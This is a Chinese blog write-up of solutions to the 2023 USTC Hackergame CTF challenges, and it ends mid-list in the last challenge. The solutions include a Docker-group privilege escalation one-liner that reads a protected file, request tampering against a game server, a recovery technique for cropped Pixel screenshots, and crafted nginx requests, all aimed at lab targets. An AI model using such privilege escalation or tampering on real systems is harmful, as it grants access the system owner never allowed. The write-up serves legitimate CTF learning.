CTF | 2023 USTC Hackergame WriteUp


引言

中国科学技术大学第十届信息安全大赛

比赛时间:北京时间 2023 年 10 月 28 日 中午 12:00 ~ 11 月 04 日 中午 12:00(共七天);添加到日历

为了让参赛的同学们更好地平衡学习和比赛,按照传统,我们将于 10 月 29 日(周日)晚 20:00 至 10 月 30 日(周一)早 8:00 期间关闭比赛平台。在此期间选手们可以好好休息,完成自己的作业,准备迎接新的一周。

赛制: 个人线上赛,解题模式,约 25 道题目,有实时排行榜。

比赛题目分为 5 类,分类如下:

  • 综合技能(general)
  • 程序逆向与漏洞利用(binary)
  • 密码学与数学(math)
  • 网站安全(web)
  • 人工智能(AI)

https://hack.lug.ustc.edu.cn/

这周有啥娱乐活动?

噢,USTC hackergame!

今年这段时间事情挺多,没啥时间来看题,特别是周末还花了点时间,和 SU 的队友打 XCTF 分站赛 ACTF 2023 去了,最后打了个第二,队友好强!!!

hackergame 就只有几个晚上的时间简单瞄了下,但是怎么做着做着一晚上就过去了,特别是最后一晚上看着题目怎么就天亮了,顶不住顶不住,想睡大觉,呼呼~

这篇博客随便来记录一下解题过程,当然还有不少做题过程中看到的有意思的东西。

希望大家看了也能有所收获!

唉,搞科研搞学术有这么有意思就好了(想早日毕业跑路,呜呜

顺便,喵喵往年的 Hackergame Writeup 回顾:

CTF | 2022 USTC Hackergame WriteUp 0x01

CTF | 2021 USTC Hackergame WriteUp

CTF | 2020 USTC Hackergame WriteUp

Hackergame 启动

大声喊出 Hackergame 启动,开始今年的冒险!

提示:完成题目遇到困难?你可以参考 2018 年签到题题解2019 年签到题题解2020 年签到题题解2021 年签到题题解2022 年签到题题解

同样的前端 UI 缝缝补补继续用捏

发现是前端校验相似度然后发请求

直接 /?similarity=100 完事

最下面的是陆队名言!

猫咪小测

不关橙猫猫的事喔

注意看,这只可爱的橙猫猫叫小喵。

只要有阳光的地方就能见到它的身影,只要有鱼干的地方就能听到它的喵声。但今天的小喵有些不同,它的眼神充满了紧张与期待,因为一年一度的风云际会,大师喵主办的全校猫咪小测马上就要开始了。

「在科大,即使身为猫咪,也要兼备充分的科大常识、扎实的数理基础、以及独立的科研能力」大师喵蹲坐在主席台上,目光炯炯。

小喵乖巧地坐在课桌前,爪子紧按着用来答题的鼠标,似乎一松开鼠标就会自己溜走一样。

不得不承认,这场小测并不容易。

「生而为猫,我很抱歉」

后排传来了一声沮丧而近乎绝望的呜咽,应该是今年刚入校的少年喵。本就有着比众喵更小的年龄,其当年足可引以为傲的天赋在科大里却也算不上什么,于是每次测验都只能位居末流。

小喵还没来得及回头,大师喵「噌」地一下从讲台上腾跃而下,扑到后排那名猫咪的身前,用舌头细细梳理这名猫咪的后颈上的绒毛。

「不可以这样说哦,静心努力你也可以做出来的喵~」

啊,大师喵那一如既往的温柔。

少年喵非常感动。「嗯嗯我明白了。それなら別の言い方をしよう:猫として生まれて、すみません」

「给我好好做题(敲),不是要你换一种语言再说一遍啊(kusa)」

「不愧是大师喵」,小喵钦佩地望着大师喵的身影。

「这种说话还能带括号的技巧我也想学!」

提示:解出谜题不需要是科大在校猫咪。解题遇到困难?你可以参考以下题解:

(什么Z佬喵

  1. 想要借阅世界图书出版公司出版的《A Classical Introduction To Modern Number Theory 2nd ed.》,应当前往中国科学技术大学西区图书馆的哪一层?(30 分)

提示:是一个非负整数。

12

https://lib.ustc.edu.cn/%e6%9c%ac%e9%a6%86%e6%a6%82%e5%86%b5/%e9%a6%86%e8%97%8f%e5%88%86%e5%b8%83/

馆藏分布

  1. 今年 arXiv 网站的天体物理版块上有人发表了一篇关于「可观测宇宙中的鸡的密度上限」的论文,请问论文中作者计算出的鸡密度函数的上限为 10 的多少次方每立方秒差距?(30 分)

提示:是一个非负整数。

23

https://arxiv.org/abs/2303.17626

We find the most restrictive upper limit from the domains considered to be 10^23 pc^−3, which ruffles the feathers of long-standing astrophysics theory.

甚至 b乎 上还有一篇回答讲到了这篇论文:你见过哪些极品论文?

https://www.zhihu.com/question/20337132/answer/3023506910

  1. 为了支持 TCP BBR 拥塞控制算法,在编译 Linux 内核时应该配置好哪一条内核选项?(20 分)

提示:输入格式为 CONFIG_XXXXX,如 CONFIG_SCHED_SMT。

TCP_CONG_BBR

  1. 🥒🥒🥒:「我……从没觉得写类型标注有意思过」。在一篇论文中,作者给出了能够让 Python 的类型检查器 MyPY mypy 陷入死循环的代码,并证明 Python 的类型检查和停机问题一样困难。请问这篇论文发表在今年的哪个学术会议上?(20 分)

提示:会议的大写英文简称,比如 ISCA、CCS、ICML。

ECOOP

google paper mypy infinite loop

搜到论文 Python Type Hints Are Turing Complete,正好还是今年的

https://drops.dagstuhl.de/opus/volltexte/2023/18237/pdf/LIPIcs-ECOOP-2023-44.pdf

flag{WE1C0mE-To-aTT3nd-th3-n3k0-eX4M-2oz3}

flag{R3AL-maS7eR-Of-7HE-N3K0-EXaM-iN-u$7C}

更深更暗

小 E 正在收看电视新闻。

「诶,你知道吗,『泰坦』号潜水艇失事了!」小 E 对旁边的小 C 说。

小 C 凑近电视机,看了一眼新闻里的画面。

「是我眼花了吗?我刚刚有一瞬间好像在残骸上看到了一个 flag?」小 C 惊讶地说。

「玩 CTF 玩的。」小 E 对此不以为然,「一定是你看错了。」

小 C 却十分相信自己没有看错。

前端根据 token 生成的 flag,直接执行就好

赛博井字棋

那一年的人机大战,是 AlphaGo 对阵柯洁,最终比分 3-0。当时我看见柯洁颓坐在椅子上泣不成声,这个画面我永生难忘。那一刻我在想,如果我能成为一名棋手,我一定要赢下人工智能。如今 AI 就在眼前,我必须考虑这会不会是我此生仅有的机会。重铸人类围棋荣光,我辈义不容辞!

……

但是围棋实在太难了,你决定先从井字棋开始练习。

发现怎么玩都玩不过 AI,但是突然发现直接发请求过去,把棋子下到已经占用的位置上是可以把对面给吃了的,哈哈

奶奶的睡前 flag 故事

包含 AI 辅助创作

(以下内容由 GPT 辅助编写,如有雷同纯属巧合)

晴空万里的假期终于拍了拍翅膀飞来了。对于一心想扔掉教材、砸掉闹钟、跃向世界的 L 同学来说,期待了整整三年的跨国旅游大业终于是时候启动了,还能巧妙地顺带着做个美满的老友记。

可是,哎哟喂,他刚踩上波光粼粼的金沙海滩,那他最疼爱的华为手机就跟着海风一起去约会了大海,连他的钱包也在这场未知探索之旅中神秘失踪。

「这个地方怎么连个华为手机都不卖。若是买个苹果手机,心疼的是它连个实体 SIM 卡槽都藏起来了,回国肯定成了个大摆设。不如来个谷歌的『亲儿子』?」L 同学踌躇满志地嘀咕道。

那时,像是上天的安排,「咱这儿正好有个谷歌『亲儿子』的老手机,你拿去逍遥吧」。

L 同学满眼星光地接过,连系统都没心思升级,就开始疯狂安装那个久闻大名的 GPT 程序,甚至雀跃地在群里晒出一张跟 GPT 对话的精彩截图,一时间成为了群里的焦点人物。

你能从这张图片里找到 flag 吗?

那不就是今年3月份 Pixel 爆出来那个选择区域截图的时候没把原来图片多余 chunk 给删除掉的 bug 嘛

Google Pixel 内置截图编辑器存在严重的隐私泄露bug。
当编辑截图时,编辑器仅仅覆盖原文件相应的区域而不是全部重写,另外由于裁剪过的图片一般小于原图片,于是原图片的部分数据还存留在文件里。

https://twitter.com/itssimontime/status/1636857478263750656

https://github.com/infobyte/CVE-2023-21036

这是个检测和消毒去除多余 chunk 的工具,不过顺便找到了个在线还原的工具

If you want to try to recover the original screenshots use https://acropalypse.app

设备选 Pixel 7 可以恢复

flag{sh1nj1ru_k0k0r0_4nata_m4h0}

组委会模拟器

每年比赛,组委会的一项重要工作就是时刻盯着群,并且撤回其中有 flag 的消息。今年因为人手紧张,组委会的某名同学将这项工作外包给了你,你需要连续审查 1000 条消息,准确无误地撤回其中所有含 flag 的消息,并且不撤回任何不含 flag 的消息。

本题中,你需要撤回的 “flag” 的格式为 hack[...],其中方括号内均为小写英文字母,点击消息即可撤回。你需要在 3 秒内撤回消息,否则撤回操作将失败。在全部消息显示完成后等待几秒,如果你撤回的消息完全正确(撤回了全部需要撤回的消息,并且未将不需要撤回的消息撤回),就能获得本题真正的 flag

看起来会先 POST http://202.38.93.111:10021/api/getMessages 这个接口然后拿到消息以及对应的延迟

删除消息的话

POST /api/deleteMessage HTTP/1.1
Host: 202.38.93.111:10021
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Content-Type: application/json
Content-Length: 10
Origin: http://202.38.93.111:10021
Referer: http://202.38.93.111:10021/
Cookie: ...

{"id":345}

最后调用

POST http://202.38.93.111:10021/api/getflag

来拿 flag

写个脚本一把梭

import requests
import re
import time


cookies = {
    'session': 'ey...'
}

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0',
    'Accept': 'application/json, text/plain, */*',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    # 'Accept-Encoding': 'gzip, deflate',
    'Origin': 'http://202.38.93.111:10021',
    'DNT': '1',
    'Connection': 'keep-alive',
    'Referer': 'http://202.38.93.111:10021/',
    'X-Forwarded-For': '1.0.0.1',
    'Pragma': 'no-cache',
    'Cache-Control': 'no-cache'
}


def deleteMsg(id: int):
    json_data = {
        'id': id,
    }
    response = requests.post(
        'http://202.38.93.111:10021/api/deleteMessage',
        cookies=cookies,
        headers=headers,
        json=json_data,
        verify=False,
    )
    print(response.text)


response = requests.post(
    'http://202.38.93.111:10021/api/getMessages', cookies=cookies, headers=headers)
msgs = response.json()['messages']

flag = re.compile(r"hack\[[a-z]+\]", re.M)


time_begin = time.time()

for k, msg in enumerate(msgs):
    text = msg['text']
    delay = msg['delay']
    if flag.findall(text):
        print(k, delay, text)
        time_gone = time.time() - time_begin
        time_delay = delay - time_gone
        if time_delay >= 0:
            time.sleep(time_delay)
        deleteMsg(k)

response = requests.post(
    'http://202.38.93.111:10021/api/getflag', cookies=cookies, headers=headers)

print(response.text)

「生而为人,应该能够换尿布、策划入侵、杀猪、开船、造房子、写十四行诗、算账、建墙、正骨、抚慰临终之人、接受命令、下达命令、合作、独行、解决方程式、分析新问题、清理马粪、编程、烹饪美食、高效战斗、英勇牺牲。专业分工是给昆虫准备的。」—罗伯特·海莱恩(Robert Heinlein)

你觉得还是当昆虫轻松一些。

这时,你看到一只昆虫落在你面前,发出奇怪的叫声。你把这段声音录制了下来:这听起来像是一种通过无线信道传输图片的方式,如果精通此道,或许就可以接收来自国际空间站(ISS)的图片了。

经典 SSTV

flag{SSssTV_y0u_W4NNa_HaV3_4_trY}

JSON ⊂ YAML?

你知道吗?Hackergame 出题时,每道题都需要出题人用 YAML 格式写下题目的关键信息。然而,每年总有一些出题人在编写 YAML 文件时被复杂的语法规则弄得头疼不已。

这天小 Z 又找到小 W 说:「我昨天写 YAML 时,又花了半天研究 YAML 的规范,YAML 好难啊!」

小 W 惊讶道:「怎么会有人不会写 YAML 呢?只要你会写 JSON 就会写 YAML 呀,因为任何合法的 JSON 本身就是合法的 YAML。」

小 Z 听闻这番言论后当场表示怀疑,立刻说出了一个字符串,JSON 和 YAML 解析出的含义存在差异。小 W 研究了一番才发现,这是因为很多主流的 YAML 库仍然是 YAML 1.1 的,它没有这个性质。他不得不承认:「好吧,这个性质只适用于 YAML 1.2。」

小 Z 笑了:「别提 YAML 1.2 了,它遇到合法的 JSON 都有可能报错。」

下载题目源代码

你可以通过 nc 202.38.93.111 10096 来连接,或者点击下面的「打开/下载题目」按钮通过网页终端与远程交互。

JSON ⊄ YAML 1.1

What valid JSON files are not valid YAML 1.1 files?

12345e999

或者

{"a": 1e2}

YAML 当成是字符串了

JSON ⊄ YAML 1.2

还是上面那个链接里有一句

YAML 1.2 is (with one minor caveat regarding duplicate keys) a superset of JSON, so any valid JSON file is also a valid YAML file.

也就是

JSON’s RFC4627 requires that mappings keys merely “SHOULD” be unique, while YAML insists they “MUST” be. Technically, YAML therefore complies with the JSON spec, choosing to treat duplicates as an error. In practice, since JSON is silent on the semantics of such duplicates, the only portable JSON files are those with unique keys, which are therefore valid YAML files.

那我构造两个相同 key 的试试呗

{"a":123451243, "a":"afgafds"}

JSON 和 YAML 1.1 只会取最后一个值,而 YAML 1.2 因为重复的 key 而报错了。

# ...
  File "D:\Programs\Anaconda\lib\site-packages\ruamel\yaml\constructor.py", line 276, in check_mapping_key
    raise DuplicateKeyError(*args)
ruamel.yaml.constructor.DuplicateKeyError: while constructing a mapping
  in "<unicode string>", line 1, column 1:
    {"a":123451243, "a":"afgafds"}
    ^ (line: 1)
found duplicate key "a" with value "afgafds" (original value: "123451243")
  in "<unicode string>", line 1, column 17:
    {"a":123451243, "a":"afgafds"}
                    ^ (line: 1)

BTW,题目中用的版本是

pip install PyYAML==6.0.1 ruamel.yaml==0.17.40 ruamel.yaml.clib==0.2.8

而 ruamel.yaml 在 0.18 之后已经不让使用 safe_load 方法了,当前最新的 0.18.3 版本直接把相关的方法移除了。

Git? Git!

图片使用 AI 技术生成,与真实人物无关。

「幸亏我发现了……」马老师长吁了一口气。

「马老师,发生甚么事了?」马老师的一位英国研究生问。

「刚刚一不小心,把 flag 提交到本地仓库里了。」马老师回答,「还好我发现了,撤销了这次提交,不然就惨了……」

「这样啊,那太好了。」研究生说。

马老师没想到的是,这位年轻人不讲武德,偷偷把他的本地仓库拷贝到了自己的电脑上,然后带出了实验室,想要一探究竟……

直接 git reflog 看看干了啥,然后 git diff 拿到 flag

flag{TheRe5_@lwAy5_a_R3GreT_pi1l_1n_G1t}

HTTP 集邮册

「HTTP 请求一瞬间就得到了响应,但是,HTTP 响应的 status line、header 和 body 都是确实存在的。如果将一个一个 HTTP 状态码收集起来,也许就能变成……变成……变成……」

「flag?」

「就能变成 flag!」


本题中,你可以向一个 nginx 服务器(对应的容器为**默认配置下的 nginx:1.25.2-bookworm**)发送 HTTP 请求。你需要获取到不同的 HTTP 响应状态码以获取 flag,其中:

  • 获取第一个 flag 需要收集 5 种状态码;
  • 获取第二个 flag 需要让 nginx 返回首行无状态码的响应(不计入收集的状态码中);
  • 获取第三个 flag 需要收集 12 种状态码。

关于无状态码的判断逻辑如下:

crlf = buf.find(b"\r\n")
if buf.strip() != b"":
    try:
        if crlf == -1:
            raise ValueError("No CRLF found")
        status_line = buf[:crlf]
        http_version, status_code, reason_phrase = status_line.split(b" ", 2)
        status_code = int(status_code)
    except ValueError:
        buf += "(无状态码)".encode()
        status_code = None

5 种状态码

正常访问存在的路径 -> 200

请求一个不存在的文件 404

不允许方法 OPTIONS -> 405 Not Allowed

OPTIONS /robots.txt HTTP/1.1\r\n
Host: example.com\r\n\r\n

随便构造个恶意格式的请求 -> 400

构造一个超长 URI -> 414

414

12 种状态码

继续试试其他的请求

分段请求 Range -> 206 Partial Content

GET / HTTP/1.1\r\n
Host: example.com\r\n
Range: bytes=0-4\r\n\r\n

HTTP/2 -> 505 HTTP Version Not Supported

超过范围的 Range -> 416 Requested Range Not Satisfiable

GET / HTTP/1.1\r\n
Host: example.com\r\n
Range: bytes=6599\r\n\r\n

501 Not Implemented

GET / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked\r\n\r\n

304 Not Modified

GET /50x.html HTTP/1.1\r\n
Host: example.com\r\n
Connection: keep-alive\r\n
If-Modified-Since: Tue, 15 Aug 2023 17:03:04 GMT\r\n\r\n

或者用 If-None-Match: "64dbafc8-1f1" 类似这样也行

构造一个 Content-Length 大于 nginx 设定的最大值的 -> 413 Request Entity Too Large

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Connection: close\r\n
Content-Length: 9999999999999999\r\n\r\n

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadsfjkldsjfaklfjasdfklgj\r\n\r\n

Expect Large message body -> 100

但是这里如果用 PUT 会405,于是还是改用 GET 了,发现其实也是会校验 Expect 字段的

The server checks the headers and generates the response. The server sends 100 (Continue), which instructs the client to send the message body.

GET / HTTP/1.1\r\n
Host: origin.example.com\r\n
Content-Type: video/h264\r\n
Content-Length: 120987\r\n
Expect: 100-continue\r\n\r\n

RFC 7231 Expect

但是 nginx 好像没有实现 417 (Expectation Failed)?

Nginx doesn’t support HTTP status code 417 (Expectation Failed)

==> [100, 200, 206, 304, 400, 404, 405, 413, 414, 416, 501, 505]

啊,终于集齐了,要把 MDN HTTP 响应状态码 文档给翻烂了(甚至 差点 已经开始翻阅 nginx 源码 了。。

flag{I think that when many such status codes are accumulated def0ee5cf2 it becomes a lifetime}

没有状态……哈?

对应的容器为默认配置下的 nginx:1.25.2-bookworm

配置为

user  nginx;
worker_processes  auto;

error_log  /var/log/nginx/error.log notice;
pid        /var/run/nginx.pid;


events {
    worker_connections  1024;
}


http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    sendfile        on;
    #tcp_nopush     on;

    keepalive_timeout  65;

    #gzip  on;

    include /etc/nginx/conf.d/*.conf;
}

gzip 是关闭的,看来不能拿来整活了。

随手试了一下,发送不完整或格式错误的请求,这样就能出了

GET /HTTP/1.1\r\n
Host: yourserver.com\r\n\r\n

flag{great backward compatibility of nginx, R1ght?}

看起来是后向兼容的设计?没响应头部的数据只有 body 的了。

查了下,其实就是 HTTP/0.9 的规范了

那确实直接 GET /1\r\n\r\n 就行了,哈哈

See also: MDN: HTTP 的发展

Docker for Everyone

X 是实验室机器的管理员,为了在保证安全的同时让同学们都用上 docker,他把同学的账号加入了 docker 用户组,这样就不需要给同学 sudo 权限了!

但果真如此吗?


提供的环境会自动登录低权限的 hg 用户。登录后的提示信息显示了如何在该环境中使用 docker。读取 /flag(注意其为软链接)获取 flag。

题目环境运行 15 分钟后会自动关闭。

你可以在下面列出的两种方法中任选其一来连接题目:

  • 点击下面的「打开/下载题目」按钮通过网页终端与远程交互。如果采用这种方法,在正常情况下,你不需要手动输入 token。
  • 在 Linux、macOS、WSL 或 Git Bash 等本地终端中使用 stty raw -echo; nc 202.38.93.111 10338; stty sane 命令来连接题目。如果采用这种方法,你必须手动输入 token(复制粘贴也可)。注意,输入的 token 不会被显示,输入结束后按 Ctrl-J 即可开始题目。

无论采用哪种方法连接题目,启动题目均需要数秒时间,出现黑屏是正常现象,请耐心等待。

经典日机器/提权/容器逃逸的方法了,哈哈

alpine:~$ docker run -v /flag:/flag alpine:latest cat /flag
flag{u5e_r00t1ess_conta1ner_8ed24f192c_plz!}

旅行照片 3.0

你的学长去留学了,这一走短时间内怕是回不来了。于是,你在今年暑假来了一场计划已久的旅行,并顺路探望了这位久别的学长。翻阅当天拍下的照片,种种回忆和感慨油然而生。

与学长一起品尝拉面

请观察照片并结合所有文字内容,正确回答题目以获取 flag。

http://202.38.93.111:12345/

🌻 上午

与学长碰面后,他带你参观了他的学校。在校园的一个展厅内,你发现了一枚神秘的金色奖牌,它闪闪发光,令人心生羡慕。

金色奖牌

🌻 中午

离开校园后,你和学长走到了附近的一家拉面馆用餐。那家店里的拉面香气扑鼻,店内的装饰和氛围也充满了日式的风格。学长(下图左一)与你分享了不少学校的趣事。饭后,你们决定在附近散步,享受这难得的闲暇时光。当你们走到一座博物馆前时,马路对面的喷泉和它周围的景色引起了你的注意。下午,白色的帐篷里即将举办一场大型活动,人们忙碌的身影穿梭其中,充满了期待与热情。

拉面馆用餐

喷泉旁边的帐篷

🌻 下午和夜晚

在参观完博物馆后,学长陪你走到了上野站。你们都感到有些不舍,但知道每次的分别也是为了下次更好的相聚。学长那天晚上将继续他的学术之旅,打算乘船欣赏东京的迷人夜景和闪耀的彩虹大桥(Rainbow Bridge)。而你则搭乘了开往马里奥世界的电车,在那里度过了一段欢乐的时光。

马里奥

题目 1-2 神秘奖牌

1、你还记得与学长见面这天是哪一天吗?(格式:yyyy-mm-dd)

2、在学校该展厅展示的所有同种金色奖牌的得主中,出生最晚者获奖时所在的研究所缩写是什么?

今年暑假,日本

STATPHYS28

学长那天晚上将继续他的学术之旅,应该就这其中的一天,很可能是倒数第二天

2023-08-10

看起来这是物理学和化学奖的奖章

M. KOSHIBA 小柴昌俊 是中微子天文学的开创者之一,2002年他因“对天体物理学的开拓性贡献,特别是宇宙中微子探测方面”获得诺贝尔物理学奖。

那就是 东京大学

日本人诺贝尔奖得主

梶田隆章

东京大学宇宙射线研究所,https://www.icrr.u-tokyo.ac.jp/

The Institute for Cosmic Ray Research (ICRR)

ICRR

题目 3-4 这是什么活动?

3、帐篷中活动招募志愿者时用于的在线问卷的编号(以字母 S 开头后接数字)是多少?

4、学长购买自己的博物馆门票时,花费了多少日元?

28th International Conference on Statistical Physics, Statphys28

日本东京都文京区本乡 5 Chome−23−11 らーめん 一信

https://www.google.com/maps/@35.7093013,139.7603584,3a,77.5y,243.16h,95.42t/data=!3m7!1e1!3m5!1sj3OENOF4WAsKrHXENxxK5A!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fpanoid%3Dj3OENOF4WAsKrHXENxxK5A%26cb_client%3Dmaps_sv.tactile.gps%26w%3D203%26h%3D100%26yaw%3D187.5142%26pitch%3D0%26thumbfov%3D100!7i16384!8i8192?entry=ttu

https://www.google.com/maps/@35.7172401,139.7750521,2a,75y,193.78h,96.67t/data=!3m9!1e1!3m7!1svDtWtjLzbEDvX8aWnFNaCQ!2e0!7i13312!8i6656!9m2!1b1!2i38?entry=ttu

东京上野啤酒节?

谷歌 东京上野公园 ボランティア人 (志愿者),时间限定到8月

ボランティアSTAFF大募集!!第6回「全国梅酒まつりin東京2023」

https://ws.formzu.net/dist/S495584522/

S495584522

https://www.klook.com/zh-CN/activity/93708-ueno-de-beer-festa/

东京国立博物馆

https://www.tnm.jp/modules/r_free_page/index.php?id=113#access_01

中小学生、高中生或未满18周岁以及满70周岁以上者,均可免费参观综合文化展(常设展),入馆时请出示附有年龄的证件(学生证、医保卡、驾驶证等)

0 日元

这里其实开始试了 500 怎么也不对,试了 1000 也不对,最后输了个 0,过了

flag{PluM_w1NE_1S_rEa1LY_EXpen5iVE_3e2ca01289}

题目 5-6 后会有期,学长!

5、学长当天晚上需要在哪栋标志性建筑物的附近集合呢?(请用简体中文回答,四个汉字)

6、进站时,你在 JR 上野站中央检票口外看到「ボタン&カフリンクス」活动正在销售动物周边商品,该活动张贴的粉色背景海报上是什么动物(记作 A,两个汉字)? 在出站处附近建筑的屋顶广告牌上,每小时都会顽皮出现的那只 3D 动物是什么品种?(记作 B,三个汉字)?(格式:A-B)

当晚是有个 Banqiet 宴会 https://statphys28.org/program/0810.html

gallery https://statphys28.org/photogallery.html#06

STATPHYS28 Banquet on “Yakatabune” Boat

船上宴会,真有意思

集合点在 Yasuda Auditorium,安田礼堂 安田讲堂

翻译错了搞了半天不对然后怀疑人生了,草

第6问

搜索 JR 上野 ボタン&カフリンクス

https://plaza.rakuten.co.jp/ayumilife/diary/202308110000/

熊猫

开往马里奥世界的电车 是说 日本环球影城马里奥园区?

搜了下图片,应该在涩谷

广告牌

https://www.gotokyo.org/jp/new-and-now/new-and-trending/221121/topics.html

新宿有三花猫,涩谷有秋田犬,可爱捏!

so 这题就是 熊猫-秋田犬

flag{Un7I1_W3_M337_A64iN_6oODByE_S3n1OR_7f0fa2a99e}

惜字如金 2.0

惜字如金一向是程序开发的优良传统。无论是「creat」还是「referer」,都无不闪耀着程序员「节约每句话中的每一个字母」的优秀品质。上一届信息安全大赛组委会在去年推出「惜字如金化」(XZRJification)标准规范后,受到了广大程序开发人员的好评。现将该标准辑录如下。

惜字如金化标准

惜字如金化指的是将一串文本中的部分字符删除,从而形成另一串文本的过程。该标准针对的是文本中所有由 52 个拉丁字母连续排布形成的序列,在下文中统称为「单词」。一个单词中除「AEIOUaeiou」外的 42 个字母被称作「辅音字母」。整个惜字如金化的过程按照以下两条原则对文本中的每个单词进行操作:

  • 第一原则(又称 creat 原则):如单词最后一个字母为「e」或「E」,且该字母的上一个字母为辅音字母,则该字母予以删除。
  • 第二原则(又称 referer 原则):如单词中存在一串全部由完全相同(忽略大小写)的辅音字母组成的子串,则该子串仅保留第一个字母。

容易证明惜字如金化操作是幂等的:惜字如金化多次和惜字如金化一次的结果相同。

你的任务

附件包括了一个用于打印本题目 flag 的程序,且已经经过惜字如金化处理。你需要做的就是得到程序的执行结果。

附注

本文已经过惜字如金化处理。解答本题不需要任何往届比赛的相关知识。


XIZIRUJIN has always been a good tradition of programing. Whether it is “creat“ or “referer“, they al shin with th great virtu of a programer which saves every leter in every sentens. Th Hackergam 2022 Comitee launched th “XZRJification” standard last year, which has been highly aclaimed by a wid rang of programers. Her w past th standard as folows.

XZRJification Standard

XZRJification refers to th proces of deleting som characters in a text which forms another text. Th standard aims at al th continuous sequences of 52 Latin leters named as “word”s in a text. Th 42 leters in a word except “AEIOUaeiou“ ar caled “consonant”s. Th XZRJification proces operates on each word in th text acording to th folowing two principles:

  • Th first principl (also known as creat principl): If th last leter of th word is “e“ or “E“, and th previous leter of this leter is a consonant, th leter wil b deleted.
  • Th second principl (also known as referer principl): If ther is a substring of th sam consonant (ignoring cas) in a word, only th first leter of th substring wil b reserved.

It is easy to prov that XZRJification is idempotent: th result of procesing XZRJification multipl times is exactly th sam as that of only onc.

Your Task

A program for printing th flag of this chaleng has been procesed through XZRJification and packed into th atachment. Al you need to do is to retriev th program output.

Notes

This articl has been procesed through XZRJification. Any knowledg related to previous competitions is not required to get th answer to this chaleng.

甚至比去年的还简单,根据 flag 对应的位置,人工推理一下就行了

恢复后的一种可能代码:

#!/usr/bin/python3

# The size of the file may reduce after XZRJification

def check_equals(left, right):
    # check whether left == right or not
    if left != right: exit(1)

def get_code_dict():
    # prepare the code dict
    code_dict = []
    code_dict += ['nymeh1niwemflcir}echaete']
    code_dict += ['a3g7}kidgojernoetllsup?h']
    code_dict += ['ulw!ff5soadrhwnrsnstnoeq']
    code_dict += ['ctt{l-findiehaai{oveatas']
    code_dict += ['ty9kxborszstgguyd?!blm-p']
    check_equals(set(len(s) for s in code_dict), {24})
    return ''.join(code_dict)

def decrypt_data(input_codes):
    # retrieve the decrypted data
    code_dict = get_code_dict()
    output_chars = [code_dict[c] for c in input_codes]
    return ''.join(output_chars)

if __name__ == '__main__':
    # check some obvious things
    check_equals('create', 'cre' + 'ate')
    check_equals('referrer', 'refer' + 'rer')
    # check the flag
    flag = decrypt_data([53, 41, 85, 109, 75, 1, 33, 48, 77, 90,
                         17, 118, 36, 25, 13, 89, 90, 3, 63, 25,
                         31, 77, 27, 60, 3, 118, 24, 62, 54, 61,
                         25, 63, 77, 36, 5, 32, 60, 67, 113, 28])
    check_equals(flag.index('flag{'), 0)
    check_equals(flag.index('}'), len(flag) - 1)
    # print the flag
    print(flag)

flag{you-ve-r3cover3d-7he-an5w3r-r1ght?}

感觉特地选了那些影响不大的位了(

🪐 高频率星球

包含 AI 辅助创作

cover.jpeg

茫茫星系间,文明被分为不同的等级。每一个文明中都蕴藏了一种古老的力量 —— flag,被认为是其智慧的象征。

你在探索的过程中意外进入了一个封闭空间。这是一个由神秘的高频率星人控制着的星球。星球的中心竖立着一个巨大的三角形任务牌,上面刻着密文和挑战。

高频率星人的视觉输入频率极高,可以一目千行、过目不忘,他们的交流对地球人来说过于超前了。flag 被藏在了这段代码中,但是现在只有高频率星人在终端浏览代码的时候,使用 asciinema 录制的文件了,你能从中还原出代码吗?

上方动画仅供参考,请点击下面「打开/下载题目」按钮下载题目文件。

先装个 asciinema ,参考使用文档,播放一下,然后干脆直接导出输出到文件

apt-get install asciinema
asciinema play asciinema_restore.rec
asciinema cat asciinema_restore.rec > output.txt

发现是 less 了个 flag.js

stage % sha256sum flag.js
6bbbb91b7adc465fa086ec4ad453bca38beef9967800bf24d046a27b8cb70042  flag.js
stage % less flag.js
stage % echo "Execute flag.js with nodejs to get the flag"
Execute flag.js with nodejs to get the flag
stage % node flag.js
stage %

然后把多余的控制字符给删了,比如下面这种

然后直接拿 NodeJS 执行好了

$ node flag.js
flag{y0u_cAn_ReSTorE_C0de_fr0m_asc11nema_3db2da106330xxxxxxxxxxxxxxxxxxxxxx}

🪐 流式星球

包含 AI 辅助创作

cover.jpeg

茫茫星系间,文明被分为不同的等级。每一个文明中都蕴藏了一种古老的力量 —— flag,被认为是其智慧的象征。

你在探索的过程中意外进入了一个封闭空间。这是一个由神秘的流式星人控制着的星球。星球的中心竖立着一个巨大的三角形任务牌,上面刻着密文和挑战。

流式星人用流式数据交流,比如对于视频来说,他们不需要同时纵览整个画面,而是直接使用像素流。为了方便理解,你把这个过程写成了一个 Python 脚本(见附件),flag 就藏在这个视频(见附件)中。尽管最后丢掉了一部分数据,你能把 flag 还原出来吗?

源码给的是读取 mp4 视频,随机去除拉平后的数组的最后的最多100个元素之后写入 bin 文件。

而视频的宽和高都不是10的倍数

assert frame_width % 10 != 0
assert frame_height % 10 != 0

wikipedia:List of common resolutions

把里面所有的都试了试,发现最后出来的帧数都不是整数

又想了想,这个最后 ravel 展平后的一维数组 buffer 的长度应该是且仅包含 3、frame_count、frame_height、frame_width 这四个因数

那就变成分解质因数的问题上了,直接写了个脚本去调用 http://factordb.com 好了

总字节数 total_bytes 的范围在 [135146688, 135146787],取其中被3整除的,然后除3,依次去分解质因数


ss = [135146688, 135146691, 135146694, 135146697, 135146700, 135146703, 135146706, 135146709, 135146712, 135146715, 135146718, 135146721, 135146724, 135146727, 135146730, 135146733, 135146736,
